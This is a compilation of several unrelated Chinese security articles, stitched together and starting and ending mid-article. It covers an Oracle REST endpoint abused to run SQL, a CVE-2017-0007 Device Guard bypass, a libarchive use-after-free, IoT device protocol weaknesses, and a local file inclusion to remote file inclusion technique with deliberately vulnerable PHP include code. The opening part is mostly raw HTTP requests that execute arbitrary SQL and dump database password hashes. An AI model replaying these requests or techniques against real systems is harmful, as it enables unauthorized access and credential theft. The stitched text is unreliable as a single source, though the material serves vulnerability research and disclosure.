Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2
Connection: close
虽然没有从服务器获得任何返回，但是也没有返回任何错误！难道是例子中的SQL语句被执行了，只是没有回显？我们可以继续尝试其他的从先前请求中获得的names，但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数，它是一个POST的请求。我们知道来至于getNamedSqlList
的请求的返回值包含了sql语句的值。也许是这个post请求会允许我们在服务器上 执行sql查询。我们试一下！
**SQL Execution**
这就是createNamedSQL中在包体里面包含一个空json对象的POST请求：
HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
{}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Content-Length: 71
Connection: close
A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]
我们得到一个关于SQL_NAME列的错误，当我们在包体中包含空的json对象时这不是很意外。现在我们在包体里加入一个随机的属性名和数值。
HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 16
Content-Type: application/json;charset=UTF-8
{"test":1}
HTTP Response:
HTTP/1.1 400 Bad Request
Content-Type: text/plain
Content-Length: 365
Connection: close
Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])
再一次不意外的获得了一个关于未知“test”字段的bad request，但是如果你注意的话，这个错误的信息给我们返回了一些有用的属性。感谢
Oracle先生的服务！这些属性也同样出现了从getNamedSqlList发出请求获得的返回中。我使用getNamedSqlList请求的返回中其中的一个值赋给dataSourceJNDI属性。
HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8
{
"name": "test",
"sql":"select @@version",
"dataSourceJNDI":"jdbc/portal"
}
这看起来是一个很好的测试请求，我们来见证一下 他是否有效。
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Content-Length: 200
Connection: close
A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]
我们仍然从服务器获得了一个错误返回，但是只返回了content-type。SQL语句可能已经被创建了。通过把名称字段设为“test”,
让我们尝试第一个具有参数的GET请求。
HTTP Request:
GET /rest/data/sql/test HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 24
Connection: close
[{"@@version":"5.5.37"}]
看这里！我们获得了一些SQL执行。
看一下“我们”是谁。
HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8
{
"name": "test2",
"sql":"SELECT USER from dual;",
"dataSourceJNDI":"jdbc/portal"
}
HTTP Request:
GET /rest/data/sql/test2 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 19
Connection: close
[{"USER":"SYSMAN"}]
看起来我们是SYSMAN 用户。通过这个oracal
文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm)
知道，我们就是administrator.
试一下 我们能否抓取出用户的哈希.
HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 120
Content-Type: application/json;charset=UTF-8
{
"name": "test3",
"sql":"SELECT name, password FROM sys.user$",
"dataSourceJNDI":"jdbc/portal"
}
HTTP Request:
GET /rest/data/sql/test3 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 5357
Connection: close
[{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
…
我们可以获得数据库中的用户密码的哈希值。我编辑和删除了主要的部分。知道了我们是一个具有administrator权限的用户，当然后续我们还可以做很多事情。然而，针对此博客的目的，我停止下来了。
**结论**
关于这个匿名sql执行我联系了oracle，他们很快的回复并且修复了这个问题。对我而言真正的问题是为什么web服务压根儿就允许sql语句被执行呢？
这个博客最大的收获是一定要看应用中的javascript文件。在多个web应用和外网的渗透测试中，我已经发现了隐藏在javascript文件中sql
注入，命令执行，和 xml实体注入攻击。
作为针对熟练渗透测试者的练习任务，看完这篇博客并且统计多少个你能确定的漏洞。提示：超过三处
**参考**
<https://github.com/ChrisTruncer/EyeWitness>
<https://nmap.org/>
<https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm>
<https://docs.oracle.com/cd/B28359_01/server.111/b28337/tdpsg_user_accounts.htm#TDPSG20000>
<https://portswigger.net/burp/help/repeater_using.html> | 社区文章 |
# 【技术分享】对抗 DeviceGuard：深入分析 CVE-2017-0007
|
##### 译文声明
本文是翻译文章，文章来源：enigma0x3.net
原文地址：<https://enigma0x3.net/2017/04/03/defeating-device-guard-a-look-into-cve-2017-0007/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：190RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
过去几个月以来，我很高兴和[Matt Graeber](https://twitter.com/mattifestation)和[Casey
Smith](https://twitter.com/subtee)一起研究Device Guard用户模式完整性（UMCI）绕过。如果你不熟悉Device
Guard，可以阅读：<https://technet.microsoft.com/en-us/itpro/windows/keep-secure/device-guard-deployment-guide> 。简言之，Device Guard
UMCI阻止未经批准的二进制执行，限制Windows Scripting
Host，并将PowerShell置于受限语言模式下，除非脚本由可信任的签名者签名过。在花了一些时间研究Device
Guard启动的系统中如何处理脚本，我最终确定了一种方法能执行任何未经批准的脚本。问题报告给MSRC后，这个bug被标记为CVE-2017-0007，并补丁修复。这个特殊的bug只会影响PowerShell和Windows
Scripting Host，不会影响编译的代码。
**0x01 分析**
当执行一个签名的脚本，wintrust.dll处理文件签名的验证。理想情况下，如果你将一个微软签名的脚本修改，文件的完整性将被破环，并且签名不再可靠。这种验证对于Device
Guard是重要的，它唯一的目的是阻止未签名或者不受信的代码运行。CVE-2017-0007规避了这种保护，允许你通过简单的修改之前已获得可信签名的脚本来运行任何你想要的未签名的代码。在这种情况下，可以选择一个微软的签名的脚本，因为微软签名的代码需要运行在Device
Guard下。举个例子，如果我们试图运行未签名的PowerShell脚本来执行受限制的行为（如大部分COM实例化），由于PowerShell的受限语言模式将失败。任何签名并受信的PowerShell代码能通过部署的代码完整性策略批准在FullLanguage模式下运行，执行没有任何限制。这种情况下，我们的代码未签名或受信，因此位于[受限语言模式](https://blogs.technet.microsoft.com/kfalde/2017/01/20/pslockdownpolicy-and-powershell-constrained-language-mode/)下，将执行失败。
幸运的是，微软的脚本有他们的代码签名证书签名。你能使用sigcheck或PowerShell的cmdlet “Get-AuthenticodeSignature“验证脚本确实由微软签名。这种情况下，我抓取了来自Windows
SDK中的一个签名的PowerShell脚本，将它重命名为”MicrosoftSigned.ps1“:
当这些脚本被签名时，他们经常在脚本体中包含一个嵌入的认证代码签名。如果你修改了文件的任何内容，文件的完整性将被破环，并且签名不再可靠。你也能简单的从一个签名文件中复制认证代码证书，并粘帖到一个未签名的脚本中：
如你所见，脚本的原始内容用我们的自己的代码替代，并验证签名，结果为“对象的数字签名不能验证“，意味着文件的完整性已经破环，代码将被阻止运行，对吗？
如你所见，我们的代码还是执行了，尽管数字签名不受信。微软将这个bug定为CVE-2017-0007，分类为MS17-012。这里潜在的问题是确保文件完整性的函数返回的错误代码没有得到验证，导致成功执行了未签名的代码。
因此，什么是这个bug的原因，且如何被修复的？Device
Guard依赖wintrust.dll处理签名文件的签名和完整性校验。使用bindiff比较补丁前（10.0.14393.0）和补丁后（10.0.14393.953）的wintrust.dll，揭露了添加的代码块。Wintrust.dll中有一个改变，这是验证签名脚本的唯一变化。由于这个，补丁如下：
仔细看，你能看到sub_18002D0F8的一些代码被移除了：
看下新添加的sub_18002D104的代码块，你将看见它包含了一些来自sub_18002D0F8的代码。这些特别的函数没有符号，因此我们必须参考定义的名字。或者，你也能在IDA中重命名这些函数。
上面的文本有点小，但是我将深入分析具体做了什么。我不会详细介绍使用bindiff，但是如果你想学习更多，可以参考[手册](https://www.zynamics.com/bindiff/manual/)。有了bug修复的位置，我看是确定了当我们的未签名的代码执行时发生了什么。了解到在sub_18002D0F8中删除了一些代码，且添加了一个新块sub_18002D104，这两个地方是个好的分析的起点。首先，我在IDA中打开补丁前版本的wintrust.dll（10.0.14393.0），导航到修改的sub_18002D0F8。这个函数由几个变量开始，然后调用“SoftpubAuthenticode”。
看下“SoftpubAuthenticode”揭露了它调用了另一个函数”CheckValidSignature“：
很明显，“CheckValidSignature”处理验证文件执行的签名/完整性验证。看下这个函数，我们能得到返回前最后一个执行的位置。
通过设置windbg断点，我们能看见CheckValidSignature中eax寄存器的错误值，黄色高亮显示如下。
这个情况下，错误值是0x80096010，意为[TRUST_E_BAD_DIGEST](https://msdn.microsoft.com/en-us/library/windows/desktop/aa376512\(v=vs.85\).aspx)。这就是为什么我们看见“对象的数字签名不能验证”。对一个修改的签名的文件执行sigcheck。在CheckValidSignature返回后（通过retn），我们来到了SoftpubAuthenticode。
SoftpubAuthenticode继续调用SoftpubCallUI，然后回到sub_18002D0F8，并在eax寄存器存储错误值0x80096010。现在我们知道了错误值存储在哪里了，我们能进一步看下为什么我们的脚本被允许运行，即使CheckValidSignature返回了TRUST_E_BAD_DIGEST。到了这里，在SoftpubAuthenticode调用后，我们恢复执行sub_18002D0F8。
因为我们的错误码存储在eax中，在SoftpubAuthenticode返回后，立即通过mov rax，[r12]覆盖。
因为错误码表明我们的脚本的数字签名不是可靠的，它没有得到验证，因此脚本允许执行：
对于这个bug有了透彻的理解，我们能看下微软如何补丁修复它的。为了做这个，我们需要安装KB4013429。看下新版本的wintrust.dll（10.0.14393。953），我们能浏览sub_18002D104，其中添加了验证代码块。我们知道这个bug源于存储我们的错误码的寄存器被覆盖了，且没有得到验证。我们能看见补丁添加了新的调用sub_18002D4BC，跟在SoftpubAuthenticode的后面。
你在图片中也可能注意到我们的错误码放在了ecx寄存器中，并且覆盖rcx寄存器的指令依赖一个测试指令，接着是“jump if
zero”指令。这意味着现在我们的错误码存储在ecx中，只有在不跳转时才会覆盖。看下新加入的sub_18002D4BC，你将看到：
这个函数返回一个BOOL值，取决于错误码执行结果。这个额外的校验可以校验调用SoftpubAuthenticode是否成功（<
0x7FFFFFFF），否则返回值为0x800B0109，为CERT_E_UNTRUSTEDROOT。这种情况下，SoftpubAuthenticode返回0x80096010（TRUST_E_BAD_DIGEST），不匹配任何一个条件，将返回1。
在设置al为1后，返回到前一个函数，我们能看到这个bug如何打补丁的：
“al”设为1，函数匹配另一个逻辑，以查看al是否为0。如果不是，设置r14b为0（因为之前的test指令不会设置ZF标志）。然后逻辑校验r14b是否为0。如果是，将跳转并跳过覆盖rcx寄存器的代码（保持ecx为我们的错误码）。错误码得到验证，且脚本在受限语言模式下运行，将执行失败。 | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/gG6hslWEyJ3Ez_xpxijPHw>**
## 前言
2019年2月，Check
Point安全研究团队检测发现WinRAR解压缩软件存在若干重大漏洞。攻击者可利用上述漏洞，通过诱使用户使用WinRAR软件打开恶意构造的压缩包文件，执行恶意代码，实现对用户主机入侵的目的。
同样，在不久前谷歌的安全研究员发现libarchive库中存在漏洞CVE-2019-18408。攻击者可利用精心构造的压缩文件，对受影响用户造成压缩程序拒绝服务或执行恶意代码。
## 漏洞危害
libarchive是一个开源的压缩和归档库。它支持实时访问多种压缩文件格式，比如7z、zip、cpio、pax、rar、cab、uuencode等，因此应用十分广泛。
这次被曝出的安全漏洞间接影响到了大量项目和产品。实际上不光是压缩/解压工具可能会采用libarchive，libarchive还应用于台式机和服务器操作系统（各大Linux发行版、MacOS、Windows）、各种包管理器（Pacman、XBPS、NetBSD’s、CMake等）、文件浏览器（Springy、Nautilus，GVFs等）中，甚至某些邮件反病毒软件都会用到它，那么攻击者完全可以利用libarchive的漏洞，发送包含恶意压缩包的邮件，利用漏洞执行任意代码甚至控制设备。
影响版本 libarchive version < 3.4.0
## 漏洞原理
概括：当解压RAR格式的压缩文件失败时，程序会继续寻找下一个文件块的Header并进行解码，而之前解压失败并释放的堆空间被重新使用，造成UAF(Use
After Free)漏洞。 通常RAR归档文件格式如下图所示，第一个必须是标志块，其它块之间没有先后顺序。
所以，可分析如下某正常RAR文件构造：
前7个字节为RAR格式签名（v5版本以下），0x6152为块CRC，0x72为块类型，0x1A21为块标志，0x0007为块大小，由此正确判定为rar文件。
当程序处理第一个文件块Header时，因特殊构造导致解码失败，所以read_data_compressed()函数会返回ARCHIVE_FAILED。之后，在archive_read_format_rar_read_data()函数中，rar->ppmd7_context被释放，即CPpmd7结构体指针变量p。
当*buff不为NULL时，也就是unp_buffer（未解压数据）依然存在时，程序会接着处理rar文件，之后会寻找下一个文件块的Header并循环之前的解码步骤。
程序在解码下一个文件块的时候再次调用read_data_compressed()函数中的Ppmd7_DecodeSymbol()函数进行解码，再次使用被释放的对象p，因此造成UAF。
## 漏洞修补
libarchive 团队已在Github上提交最新的修复版本，建议受影响用户尽快下载并更新：
<https://github.com/libarchive/libarchive/releases/tag/v3.4.0>
各大Linux发行版安全更新信息如下：
Debian：<https://security-tracker.debian.org/tracker/CVE-2019-18408>
Ubuntu：<https://usn.ubuntu.com/4169-1/>
Gentoo：<https://bugs.gentoo.org/show_bug.cgi?id=CVE-2019-18408>
Arch
Linux：[https://www.archlinux.org/packages/?sort=&q=libarchive&maintainer=&flagged=](https://www.archlinux.org/packages/?sort=&q=libarchive&maintainer=&flagged=
"https://www.archlinux.org/packages/?sort=&q=libarchive&maintainer=&flagged=")
## 补丁分析
在最新版v3.4.0中，释放rar->ppmd7_conext之后，开发者将rar->start_new_table置为1，rar->ppmd_valid置为0，因此Ppmd7_DecodeSymbol()函数在read_data_compressed()中不再调用。
在parse_code()函数中，对第二个文件块进行解码，但无法创建新的哈夫曼编码表，因此最终返回-30，其值是ARCHIVE_FATAL的宏定义，而ARCHIVE_FATAL意味着程序不再进行任何操作并进行退出处理。
对于rar>ppmd_valid的设置，可以确保在rar_br_bits为0的情况下，类似构造的RAR文件在parse_code阶段始终可以返回ARCHIVE_FATAL。
参考文献：
1.<https://www.zdnet.com/article/libarchive-vulnerability-can-lead-to-code-execution-on-linux-freebsd-netbsd/#ftag=RSSbaffb68/>
2.<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18408>
3.<https://github.com/libarchive/libarchive/compare/v3.3.3...v3.4.0>
4.<https://lists.debian.org/debian-lts-announce/2019/10/msg00034.html>
* * * | 社区文章 |
# 【技术分享】IoT设备通信安全讨论
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**0x00序言**
IoT设备日益增多的今天,
以及智能家居这一话题愈发火热,智能家居市场正在飞速的壮大和发展,无数IoT设备正在从影片中不断的走向用户的身边.但是这其中却拥有着大量的安全问题和隐患
此次以结合实际案例的方式来谈一谈目前国内IoT市场中普遍存在的安全问题
****
**0x01 历史回顾**
在过去的一段时间内也曾暴露出了很多很多的iot设备的安全问题
**Mirai**
在去年2016年9月-10月期间 Mirai 在全球范围内爆发
Mirai的感染模式
**感染初始设备**
**初始设备在网段内进行扫描,并做尝试,将有漏洞的设备IP,PORT等信息上传至Loader服务器**
**Loader服务器对新的设备进行控制并下发控制程序**
**循环往复**
**受控设备足够多后,控制设备对Victim发起DDoS**
直到2016年10月26日，我们通过Mirai特征搜索shodan发现，当前全球感染Mirai的设备已经超过100万台，其中美国感染设备有418,592台，中国大陆有145,778台，澳大利亚94,912台，日本和中国香港分别为47,198和44,386台。
**IoT reaper**
而最近则是 IoT reaper ,从2017-09-13开始,360NetLab捕获到了一个新型的针对IoT设备的恶意样本
样本中集成了9个IoT漏洞IoT_reaper完全放弃了mirai中利用弱口令猜测的方式，转为利用IoT设备的漏洞植入，当前样本中集成了了9个IoT设备漏洞。最近十天以来，攻击者正在积极的将漏洞利用集成进入样本中，其中一个漏洞在公开后仅2天就被集成。
IoT_reaper感染流程图
IoTroop是IoT_reaper
Botnet在网络攻击活动中第一阶段使用的主要payloads，该恶意软件借用了mirai的源代码，但是在几个关键行为上显著区别于mirai，包括：
1\. C&C服务器已经完全被重新设计，并使用了新的后台。 另外，IoTroop的C&C服务器是用PHP编写的，而原来的Mirai
C&C服务器是用GO编写的。
2\. 随着C&C后台的变化，C&C通信协议也发生了变化，IoTroop恶意软件使用了全新的C&C通信方式。
3\. IoTroop恶意软件不再使用弱口令猜测、而是使用IoT设备漏洞，扫描效率大大提高。
4\.
IoTroop恶意软件不包含任何DDoS功能，实际上我们也没有观察到与该恶意软件有关的任何DDoS攻击，但所有与DDoS相关的功能都由C&C后台进行协调和管理，并作为单独的模块下载。
IoT_reaper包含的一些漏洞
可以看到的是,IoT设备的安全问题正在日益突出,并日益严重
虽然厂商心中已经有了一定的警戒,并采取了一定的措施但是还远远不够
****
**0x02 现状**
攻击中最复杂的部分是取得与相关设备的连接问题,只要能够连接上能够与之通信,可以说被控制被劫持都只是一些相对较小的问题了
在连接上的安全措施往往是难以做到尽善尽美的,那么我们就着重来看看目前国内市场上IoT设备在连接上存在的诸多问题
在iot设备领域存在一个是否致命的问题,就是产品更迭周期,在此领域因为涵盖着硬件设备,在升级上往往难以针对某些领域的问题进行修复
目前在国内的形式大多数是采用的多方合作,而杂合而成的一个十分混乱的iot生态
1\. A厂商从B厂商处采购主控芯片和开发套件,然后自己由这个主控芯片和开发套件对一些传感器进行集成连接,进行一些简单的包装
2\. A厂商和C厂商进行深度合作在A厂商的APP中集成C厂商的控制程序,从而实现A厂商具有更为广大的智能家居生态
3\. A厂商完成了硬件上的设计生产,而APP方面则采取外包方式获取
4\. 为了照顾设备的网络情况以及性能情况作出的妥协
在国内上述三种情况是十分普遍的,这种树状甚至是叉装的生态环境势必会产生无数的安全问题
反过来回顾世界前列的互联网公司里Apple,是唯一的一家最接近垂直生态公司,即使是这样,每年也有大量的漏洞被发现,就更何况国内的这些公司了
****
**0x03 分析**
与上面的点一一对应
由于采用采购和使用开发套件的方式，势必会有大部分的逻辑是和供应商所提供的运行模式和设计理念是一致的，从这里入手就很容易看到对应的A厂商的设备的大致工作模式。
实例 :
根据上面的文档可以看出这里设计出了一种工作模式,在智能硬件中会有一份主体固件user1.bin,然后在后期可以通过user2.bin的方式对设备进行一定程度的更新
为什么要说一定程度呢?首先,这里采用这种模式就肯定是为了减少更新完整固件包所带来的更新时间和下载内容大小,也从而被获得后直接逆向出完整设备工作流程的危害.
**iot设备大多采用低成本的处理控制单元和极小的板载存储flash芯片,已经极小的内存容量,如果采取互联网全量更新,首先是机器本身无法存储,处理器,和内存也无法胜任此工作**
**iot设备为了长期稳定的工作,肯定无法去更新核心部分的工作,只会以修复一些细小的功能性问题而更新**
那这里从实际的案例出发对这个现象的论证就是
在2015年的A厂商在通信过程中使用的AES加密,但在APK中由于开发没有良好的安全意识,导致被轻易的提取出了AES的密钥,而在我们进行分析的今天,该厂商的密钥也没有更换,亦可以在网上搜索得到这串长期没有更换的密钥进行通信消息的解密
而在今天厂商也仅仅只是将其放在了一个动态链接库中稍加混淆
就这样一个问题,在一个厂商长发2年都没有一个良好的解决方案足以说明问题的严重性
在厂商与厂商的合作之间势必会相互开放接口或者通信密钥以及一系列相关资源，这就导致了，但凡有一家合作厂商的安全做的不够出色，这就导致了短板效应的出现而拉低了众多厂商的安全等级。
A厂商和C厂商的合作使得A厂商几乎只承担的了集成SDK的成本就获得了一项智能家居产品,而C厂商也仅仅是提供了SDK就拓宽了自己的销售渠道,这样的合作模式肯定受到双方欢迎的,但是这之间的安全问题是值得关注的
**通信的密钥**
**身份TOKEN**
**完整的设备信息**
**完整的控制请求**
根据上述的问题,再结合一定的分析往往就能很容易的得出一份令人满意的漏洞
实例 :
可以很清晰的看到,拥有SDK的TOKEN,完整的控制函数
可以看到通信的地址,以及通讯认证的详细过程
可以看到另一家合作厂商的密钥位置
完成了对该厂商的通信,而且可以同样看到,该厂商也是有着接口无认证的问题
App的编写，这明显不是传统厂商所擅长的，而外包就成了主要解决方法。
然而厂商也自身没有太高的安全意识在验收成果的时候,主要着力于功能的完善情况,以及界面交互是否优秀上面 这就会导致许多隐患
**通信模型设计不当**
**验证认证流程存在绕过,或极不完善**
**查询接口权限认证粗糙**
**涉及服务器敏感信息泄露**
这诸多问题都是一个个良好的突破口和值得关注的点
实例 :
从这里可以看到从apk中加载了通信使用的证书,故可以从apk中提取出来,也涉及了服务器的通信地址和端口
可以看到另一处TCP直接通信的地址和端口
这里可以看到,单凭一个手机号就获取了大量设备关键信息,包括密码等
这里可以看到,以任意设备mac来获取对应的用户手机号的操作
再根据已掌握的信息,进行设备控制指令的生成也是十分简单
在结合国内的平均网络质量在全球排名处于中下游水平的情况下，并且要照顾多地区的复杂网络环境
在与智能硬件的通信过程中势必会有很多的妥协,因为产品的第一点是务必满足有良好的用户体验
进而就会产生
**与服务器通信认证手段单一**
**身份识别过程简单**
**消息内容格式化程度高**
**分两套通信手段,一套局域网,一套互联网**
**服务器通信内容不认证用户身份**
实例 :
A厂商在为了解决远程控制这一问题上
互联网层面远程控制由XMPP协议进行通信
但国内的厂商在使用上仅仅着手于XMPP协议的及时性和开放性,对于一些必要的安全措施并没有进行良好的设计
A厂商的XMPP的设计模式下,受控端设备,以及控制端设备全凭MAC地址或是UUID作为登录凭据,并且在密码设计上采用与用户名一样的方式.这就导致可以使用遍历MAC地址的方式将该厂商所有设备踢下线,使其无法正常通信或是响应命令.或是在APP端注册一个账号,然后获得UUID便可以向任意在网设备发送控制指令,这对于智能产品来说危害是巨大的,也会导致用户无法获得正常的体验
A厂商该特意设计了一个控制服务器,来接受和记录设备的绑定以及设备状态查询的服务,该服务器没有任何权限设置,亦无token之类的校验,可以抓包后任意重放,来获得任意设备mac所绑定的用户手机号,同时,还有一个逻辑错误,以及一个重大的安全错误
**在服务器上存储用户设备控制密码**
**对设备控制权限变更无校验,任何人可以在任何情况下对设备进行重新绑定,解绑,添加信任用户等危险操作**
**并在特殊的构造下,可以直接获取到任意设备的控制密码**
在通信过程中消息内容采用固定格式
wan_phone%015bee58-xxxx-xxxx-xxxx-31598127xxxx%password%open%relay
可以看到中间的uuid作为标识password是控制密码open是控制指令 那么其实很好类推关闭之类的指令
在APP的登录过程中,用户名为手机号
局域网内采用UDP无连接通信,通过向设备发送连续的UDP包来获得设备信息,同时为了更快的感同一局域网内的设备状态,采用广播心跳包的形式对所有在网内设备进行查询,同时所有设备收到此包后会回复自己的状态,以及控制密码的值,来确保用户能完成良好的控制
其次在标识上仅使用mac地址作为标识,这就导致,如果在相同包体里改变mac地址即可完成对设备的控制
可以通过分析流量翻译出大量的操作指令
可看到流量中连续的广播包在发送
广播后,设备响应,解密后就能直接得到设备的控制密码
用脚本直接解密XMPP流量
而局域网和互联网通信内容又大相径庭,即使设计了一个良好的互联网通信模型,也会被找到破绽
****
**0x04 总结**
根据此次分析,IoT生态混乱,通过实例分析验证了很多安全问题,以及潜在隐患,对现有用户会产生用户敏感信息泄露和IoT设备为攻击者大开方便之门的安全问题.最终甚至危害到广大用户的人生以及财务安全
已有的改进
**尽量避免了将设备直接暴露在公网中**
**已有一些通信上的加密措施,不再是任何人都可以向设备发送消息**
**避免IoT设备的固件开发下载**
尚存或演进的问题
**以CS模式通信,但是通信结构和验证过程过于简单或没有,导致一旦攻破便可危害所有在网设备**
**APP的安全开发意识十分薄弱**
**厂商合作之间的信任链单一,信任关系简单**
**多模式设计下,短板效应明显,在某一模式安全性的缺失则导致整套安全系统崩溃**
**对用户信息,设备的存储和查询,存在致命的缺陷,对用户信息无任何保护手段,很容易获得设备用户的对应关系**
这些存在漏洞的点都很普遍并容易被探测和发现,而造成的危害和损失却是巨大的
而抛开技术上的问题,在实际的物理世界中,核心的问题在于厂商不够重视安全,没有一个很好的统一解决方案,对应漏洞反应平平,甚至予以忽视,导致IoT安全漏洞和事件频发,各种黑天鹅事件告急
过去的事件都以在公网上的设备受到攻击而需求感染设备去扫描发现新的设备,而现在只要一攻破上述任一一条,则可以在存在RCE等高危漏洞情况下迅速感染所有在网设备,攻击的成本大为降低.对于IoT安全社会各界应该予以更为重复的重视
****
**0x05 参考**
1\. http://bobao.360.cn/learning/detail/3143.html
2\. https://paper.seebug.org/142/
3\. http://www.freebuf.com/articles/terminal/117927.html
4\. http://blog.netlab.360.com/iot-reaper-a-quick-summary-of-a-rapid-spreading-new-iot-botnet/
5\. http://bobao.360.cn/learning/detail/4635.html | 社区文章 |
实战演练：看我是如何将LFI变为RFI的
**前言**
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。最常见的就属于本地文件包含（Local
File Inclusion）漏洞了。
**常见漏洞代码**
if ($_GET['method']) {
include $_GET['method'];
} else {
include 'index.php';
}
一般情况下，程序的执行过程是当用户提交url为<https://xianzhi.aliyun.com/sth.php?method=search.php时，>
调用search.php里面的样式内容和功能。直接访问<https://xianzhi.aliyun.com/search.php>
则会包含默认的index.php里面的样式内容和功能。那么问题来了，如果我们提交<https://xianzhi.aliyun.com/search.php?method=upload/1.jpg>
，且1.jpg是由黑客上传到服务器上的一个图片，并在图片的末尾添加了恶意的php代码，那么恶意的代码就会被当前文件执行，以此触发本地文件包含漏洞。
**有趣的发现**
我和我的好朋友Mike
Brooks一直致力于对一些开源的Web框架进行代码审计工作，在对这些Web开源框架代码审计的过程中，我们找到了一种将本地文件包含漏洞（LFI）转换为远程文件包含漏洞（RFI）的方法。并且依赖于我们驻留在Web服务器上的JAR包文件，我们发现了一个能够执行任意代码的方法。通过情况下，当以特定方式配置Web应用程序时，它将能够加载Web服务器上的JAR包文件并在文件中搜索实现的java类。有意思的是，在Java类中，我们可以在正在被执行的java类上定义的一个静态代码块，具体如下所示：
public class LoadRunner {
static {
System.out.println("Load runner'ed");
}
public static void main(String[] args) {
}
}
我们首先编译这个java类，然后在代码中加载它，具体实现如下图所示：
现在，我们已经有了两个有趣的发现：一个是可以在加载的JAR文件中插入执行代码，另一个是在Web服务器上找到一个合适的文件路径来加载JAR包文件。因此，我们现在必须找到的一种方式来让应用程序以某种方式引用我们驻留在服务器上的JAR包文件。在这个探索的过程中，我们尝试了很多的方法，包括去查看应用程序中的所有请求处理程序以确定能否进行文件上传；甚至尝试寻找可以在服务器上毒化文件的方法，以便将其转化为JAR包文件，但是这些方法却都没有能够奏效。尽管这样，我们仍然没有放弃去研究和探索，最终Mike
Brooks想出了一个好主意。
**文件描述符**
一般情况下，大多数Web开源框架都会将上传的文件落地到服务器的某个磁盘上，但文件的路径是不可猜测的（通常使用GUID或其他随机标识符来表示），如果我们不知道文件路径，那又该如何去访问上传的文件呢？在Linux中，当一个进程有一个文件被打开时，它将在其
**/proc/** 目录中打开一个指向该文件的文件描述符。因此，如果我们有一个PID为1234的进程，并且该进程打开了磁盘上的某个文件，那么我们可以通过
**/proc/1234/fd/***
文件描述符来访问该文件。这意味着，我们不需要猜测GUID或其他随机值，我们只需要猜测HTTP请求处理程序的PID和上传文件的文件描述符即可。因而用于访问上传文件的搜索空间就会大幅减少。不仅如此，如果我们已经有了LFI，加上磁盘上那些经常出现的、可以预测的PID（Web服务器上HTTP请求处理程序的PID）文件，因此获取PID和文件描述符编号要比想象中简单得多。
**加载文件描述符**
为了实现上面的方法，我们首先需要在程序中找到那些处理文件上传的请求，之后尝试通过Web开源框架中的LFI漏洞来查看所有PID文件描述符，并通过文件描述符来访问我们在Web服务器上上传的文件。在我们测试过的Web框架中，当访问FILES字典时，这些文件描述符总是被缓慢加载，而Flask
Web框架直接在HTTP GET请求填充了FILES字典字段，以下是超简单的Flask应用程序：
# -*- coding: utf-8 -*- import os
from flask import Flask, request
UPLOAD_FOLDER = "/tmp"
app = Flask(__name__)
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
